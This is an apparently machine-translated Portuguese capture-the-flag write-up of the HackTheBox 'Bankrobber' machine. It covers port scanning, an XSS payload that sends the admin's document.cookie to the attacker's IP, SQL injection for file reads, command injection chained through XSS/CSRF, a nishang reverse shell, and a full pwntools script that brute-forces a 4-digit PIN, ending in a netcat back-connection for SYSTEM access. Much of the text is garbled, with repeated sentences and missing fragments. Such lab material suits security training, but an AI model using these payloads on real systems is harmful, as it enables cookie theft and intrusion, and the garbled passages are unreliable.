Continuo publicando soluções enviadas para processamento adicional no site da HackTheBox . Espero que isso ajude pelo menos alguém a se desenvolver no campo da segurança da informação. Neste artigo, roubaremos os cookies do administrador do site via XSS, descobriremos o código usando injeção SQL, obteremos o shell através do formulário de execução de comando usando XSS e CSRF, abriremos a porta do Windows e distorceremos o PIN do aplicativo de transferência fácil usando pwntools.A conexão ao laboratório é via VPN. É recomendável não conectar-se a partir de um computador de trabalho ou de um host em que os dados importantes para você estejam disponíveis, pois você acaba em uma rede privada com pessoas que sabem alguma coisa no campo da segurança da informação :)Informações Organizacionais, - , :
- PWN;
- (Crypto);
- c (Network);
- (Reverse Engineering);
- (Stegano);
- WEB-.
, , , .
, , 
Telegram . , , 
.
. , - , .
 Recon
Esta máquina possui um endereço IP 10.10.10.154, que eu adiciono ao / etc / hosts.10.10.10.154	bankrobber.htb
Primeiro, examinamos portas abertas. Como leva muito tempo para varrer todas as portas com o nmap, primeiro farei isso com o masscan. Examinamos todas as portas TCP e UDP da interface tun0 a uma velocidade de 500 pacotes por segundo.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.154 --rate=500
 Agora, para obter informações mais detalhadas sobre os serviços que operam nas portas, executaremos uma varredura com a opção -A.
Agora, para obter informações mais detalhadas sobre os serviços que operam nas portas, executaremos uma varredura com a opção -A.nmap -A bankrobber.htb -p80,443,445,3306
 O host possui um servidor web e SMB, e o MySQL também está disponível. O SMB e o MySQL não nos dão nada, então veja a web.
O host possui um servidor web e SMB, e o MySQL também está disponível. O SMB e o MySQL não nos dão nada, então veja a web. O site Bitcoin é apresentado onde podemos nos registrar.
O site Bitcoin é apresentado onde podemos nos registrar. Vamos registrar e fazer login. Recebemos um formulário para transferência de fundos.
Vamos registrar e fazer login. Recebemos um formulário para transferência de fundos. Depois de concluir uma solicitação de teste simples, recebemos uma mensagem. Ele diz que o administrador considerará nossa solicitação de transação e tomará uma decisão.
Depois de concluir uma solicitação de teste simples, recebemos uma mensagem. Ele diz que o administrador considerará nossa solicitação de transação e tomará uma decisão. Essa é uma dica muito grande do XSS. Vamos tentar roubar o cookie de administrador. Primeiro, implante o servidor HTTP local.
Essa é uma dica muito grande do XSS. Vamos tentar roubar o cookie de administrador. Primeiro, implante o servidor HTTP local. Agora, executamos a solicitação de transação, especificando o seguinte carregamento JS como uma mensagem.
Agora, executamos a solicitação de transação, especificando o seguinte carregamento JS como uma mensagem.<script>new  Image().src="http://10.10.15.106/xss?param="%2bdocument.cookie;</script>
Assim, ao tentar enviar uma foto, o script entrará em contato com esse endereço e, como parâmetro, nos enviará cookies da conta na qual o script foi executado (neste caso, o administrador). Parece base64. Decodificamos e obtemos o login e a senha do administrador.
Parece base64. Decodificamos e obtemos o login e a senha do administrador. Entre como administrador e veja o que há de novo para nós. Ao enviar uma cotação no campo de pesquisa do usuário, obtemos um erro - há uma injeção.
Entre como administrador e veja o que há de novo para nós. Ao enviar uma cotação no campo de pesquisa do usuário, obtemos um erro - há uma injeção. Outro servidor solicita o comando dir.
Outro servidor solicita o comando dir. Mas apenas respostas localhost.
Mas apenas respostas localhost. Vamos voltar à injeção de SQL.
Vamos voltar à injeção de SQL. Determinamos o número de colunas e quais delas são exibidas.
Determinamos o número de colunas e quais delas são exibidas. Assim, a primeira e a segunda colunas são exibidas.
Assim, a primeira e a segunda colunas são exibidas.DO UTILIZADOR
Depois de nos sentar um pouco, não encontramos nada de interessante. Vamos para o módulo backdoorchecker. Encontre um evento que responda a um clique no botão. Vá para o console do navegador e digite o nome da função.
Vá para o console do navegador e digite o nome da função. Seguimos o link para a função.
Seguimos o link para a função. E descobrimos para onde vai a solicitação. Graças à injeção, podemos ler o arquivo (a primeira vez que adivinhei o caminho xampp padrão).
E descobrimos para onde vai a solicitação. Graças à injeção, podemos ler o arquivo (a primeira vez que adivinhei o caminho xampp padrão). Assim, o comando será executado se a substring "dir" estiver presente na linha. Isso nos permite enviar uma cadeia de comandos. Resta lidar com um, o pedido deve vir de localhost. Recordamos o XSS e a função callSys (), que podemos chamar para enviar uma solicitação. Verifique nossa suposição.
Assim, o comando será executado se a substring "dir" estiver presente na linha. Isso nos permite enviar uma cadeia de comandos. Resta lidar com um, o pedido deve vir de localhost. Recordamos o XSS e a função callSys (), que podemos chamar para enviar uma solicitação. Verifique nossa suposição. Como o comando está completo, vamos executar o RCE usando o script Invoke-PowerShellTcp do pacotenishang .
Como o comando está completo, vamos executar o RCE usando o script Invoke-PowerShellTcp do pacotenishang .
RAIZ
Antes de tudo, conduzimos a enumeração básica do sistema. Para isso, usamos winPEAS . De toda a saída, nos apegamos à porta aberta no localhost 910.
De toda a saída, nos apegamos à porta aberta no localhost 910. Vamos ver o que há nele. Primeiro você precisa jogar a porta. Entre todos os programas, a solução mais conveniente é o cinzel . Execute em host local e hosts remotos.
Vamos ver o que há nele. Primeiro você precisa jogar a porta. Entre todos os programas, a solução mais conveniente é o cinzel . Execute em host local e hosts remotos.
 Agora conecte e veja o que está lá.
Agora conecte e veja o que está lá. É necessário um código PIN de quatro dígitos. Nós vamos resolver isso.
É necessário um código PIN de quatro dígitos. Nós vamos resolver isso.
def clear():
    sys.stdout.write("\033[F")
    sys.stdout.write("\033[K")
from pwn import *
for numb in range(10000):
    PIN = str(numb).rjust(4, '0')
    r = remote('127.0.0.1', 910)
    print("Find PIN: " + PIN, end="\r")
    clear()
    r.sendafter('[$] ', PIN+"\n")
    ans = r.recv()
    if b"Access denied" in ans:
        r.close()
        clear()
    else:
        print("[+] PIN found: " + PIN)
        print(str(ans, "utf-8"))
        break
    
r.interactive()
 Encontramos o código PIN e somos solicitados a inserir o valor da transação. Fazemos isso e nada acontece.
Encontramos o código PIN e somos solicitados a inserir o valor da transação. Fazemos isso e nada acontece. O valor é transferido para um programa em execução como administrador. Não encontrando mais nada, transferimos como soma uma sequência de 100 caracteres.
O valor é transferido para um programa em execução como administrador. Não encontrando mais nada, transferimos como soma uma sequência de 100 caracteres.
 E vemos como a linha de lançamento do programa mudou para parte da nossa linha. Vamos verificar a partir de qual índice isso aconteceu.
E vemos como a linha de lançamento do programa mudou para parte da nossa linha. Vamos verificar a partir de qual índice isso aconteceu. Assim, se passarmos uma linha com o nome de outro programa, ele será executado. Vamos checar.
Assim, se passarmos uma linha com o nome de outro programa, ele será executado. Vamos checar.

 E a suposição é verdadeira. Para começar, baixe o netcat.
E a suposição é verdadeira. Para começar, baixe o netcat. E agora vamos fazer a conexão traseira.
E agora vamos fazer a conexão traseira.
 Obtendo privilégios do sistema.Você pode se juntar a nós no Telegram. Vamos montar uma comunidade na qual haverá pessoas versadas em muitas áreas da TI, para que possamos sempre ajudar-nos mutuamente em qualquer problema de segurança da informação e da TI.
Obtendo privilégios do sistema.Você pode se juntar a nós no Telegram. Vamos montar uma comunidade na qual haverá pessoas versadas em muitas áreas da TI, para que possamos sempre ajudar-nos mutuamente em qualquer problema de segurança da informação e da TI.